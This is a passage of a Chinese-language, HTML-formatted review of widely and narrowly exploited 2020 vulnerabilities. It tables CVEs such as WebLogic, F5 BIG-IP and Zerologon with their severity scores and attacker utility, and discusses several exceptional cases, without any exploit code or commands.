style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14882</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle WebLogic  Server Remote Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-15505</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">MobileIron Core  and Connector Remote Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17496</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">vBulletin  subWidgets data RCE</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;"> (released as 0day)</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3452</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco ASA/FTD Web  Services Read-Only Path Traversal Vulnerability</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">7.5</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">File enumeration</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5902</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">F5 Big-IP TMUI  Remote Code Execution</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr style="height:144px;"><td width="127" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="color:black;"><strong><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-6287</span></strong></span></p><p style="margin-top:auto;margin-bottom:  auto;text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SAP NetWeaver AS  Java &#34;RECON&#34;</span></p></td><td width="58" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Symbol;color:#595959;">·</span><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">  Widespread  Threat</span><span style="color:black;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#519BC8;">Exploited in  the wild</span></span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="123" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;" height="144"><p style="text-align:left;"><span style="font-size:11px;font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr></tbody></table><p><br/></p><p><span style="font-size: 15px;">高频利用威胁2020年漏洞的披露日期：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4043321299638989" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e10544ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWpjo9JmxibQmowqtjAWRIDXuY2x3iaIkub86O3jpmR2KcsN0aRlRwQn2TicfvMJ8KVblZQ1GhgaHl3A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-size: 15px;">2020年随着CitrixNetScaler和Telerik UI的兴起开发而拉开帷幕。Zoho ManageEngine和SaltStack Salt在春季紧随其后，而下半年因通过互联网大规模利用F5 BIG-IP，Microsoft NetLogon远程协议和Oracle WebLogic Server中的严重漏洞而中断。在MobileIron移动设备管理（MDM）解决方案中，认证绕过和远程代码执行缺陷相结合的方式也让人们瞥见了移动设备管理软件在未来是如何成为一个强大的攻击媒介，即使在远程办公的员工开始回归办公室办公之后也是如此。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在这一列表中有三个异常值得仔细观察的点。第一个是CVE-2020-0796，或称“SMBGhost”，这是微软服务器消息块(SMB) 3.1.1协议中的一个远程代码执行漏洞，该公司在2020年3月周二补丁发布之前提前发布了修复补丁。虽然对外的安全更新在通知发出后的24小时之内出现了，但在安全社区仍将此漏洞比作2020年的MS17-010。MS17-010:SMB漏洞，被用作2017年WannaCry和NotPetya攻击链常利用的一个漏洞，使全球各个组织为其付出了数百万美元的代价。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">网络防御者担心该漏洞会被广泛利用以及蠕虫入侵，但至少到目前为止，还没有蠕虫出现。实际上，即使有公开的概念验证代码和僵尸网络针对了SMBGhost，但是很难说这种漏洞可以被完全的利用。或者说，以现在的内存保护机制，意味着，即使有一些漏洞被大家熟知，但想进行远程代码执行就不是一件容易的事了。甚至连Lemon_Duck僵尸网络在试运行后也放弃了SMBGhost攻击模块。为了统一定义的规则，我们把CVE-2020-0796包含在我们的高频利用威胁列表中，但它只是一个例外，不在此项之中。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">另一个例外是CVE-2020-3452，这是思科Adaptive Security Appliance (ASA)和FirepowerThreat Defense (FTD)产品中的一个只读路径遍历漏洞，允许远程攻击者枚举目标设备上的文件。这里的歧义之处在于其价值而非可利用性——尽管PoC很快就发布了，引用微软的KevinBeaumont的话“mass spammed across [the] internet”， 但利用它却没有给攻击者提供任何有用的访问机会。在我们的广泛威胁示例中，CVE-2020-3452也是Metasploit唯一选择不优先利用的漏洞。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">最后，如果说2020年存在一个Microsoft漏洞，其严重性以及对网络系统的灾难性影响与MS17-010相当，那它一定是“Zerologon”（CVE-2020-1472），这是是Microsoft Netlogon远程协议（MS-NRPC）中的一个加密缺陷，它允许攻击者绕过身份验证，危及作为域控制器运行的Windows服务器，为完全接管Active Directory域铺平了道路。微软在2020年8月星期二发行的的CVSS-10特权升级漏洞补丁引起了人们的关注，但该通报的特征信息却很少。因为其公开的细节一直很少，没有相对应的修复方案。直到9月中旬，Secura的研究人员发布了深入的分析报告，才有了详细的信息。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">Zerologon和MS17-010系列漏洞都为攻击者提供了容易被攻击的横向移动可利用路径，这很容易让他们成为勒索软件(包括勒索蠕虫)的攻击对象。与2017年的cve不同(cve提供了远程和本地代码执行)，成功利用Zerologon需要对域控制器进行网络访问——换句话说，攻击者需要一个暴露于互联网的域控制器或某种类型的网络初始访问(e.g.,a network pivot)。2020年的威胁清单包括相当多的潜在网络枢纽。我们稍后会再讨论。</span></p><p><span style="font-size: 15px;"><br/></span></p><h3><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">Targeted Threats（有针对性的威胁）</span></strong></span></h3><p style=""><span style="font-size: 15px;">我们数据中大约一半的主动利用漏洞属于&#34;有针对性的威胁&#34;类别，特此强调，这并不意味着这些cve没有(或不会)被大范围利用，只是还没有任何大规模利用的公开证据。特别是，Sophos XG防火墙CVE-2020-12271和VMware ESXi CVE-2020-3992。由于它们提供了相当大的访问权限，这个目标对于攻击者来说是非常值得去尝试的。Citrix的三个漏洞也是如此，好在这三个漏洞在一次更新中都已经得到了修复。</span></p><p><br/></p><table cellspacing="0" cellpadding="0" width="555"><tbody><tr><td width="199" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="52" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="128" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="90" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="86" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-10148</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware Fusion Local Privilege Escalation (Incomplete  Patch)</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported  as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-12271</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Sophos XG Firewall Unauthenticated SQL Injection</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported  as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17087</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Kernel Local Privilege Escalation</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1020</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Adobe Font Manager Library Remote Code  Execution</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-4006</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware Workspace ONE Command Injection</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.1</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14871</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle Solaris PAM Remote Code Execution</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-15999</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Google Chrome FreeType Heap Buffer Overflow</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0986</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Sandbox Escape via splw64 Untrusted Pointer  Dereference</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">*</span></span><span style="font-family:Arial,sans-serif;color:#595959;">)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1048</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Print Spooler Service Arbitrary File Write  &#34;PrintDemon&#34;</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 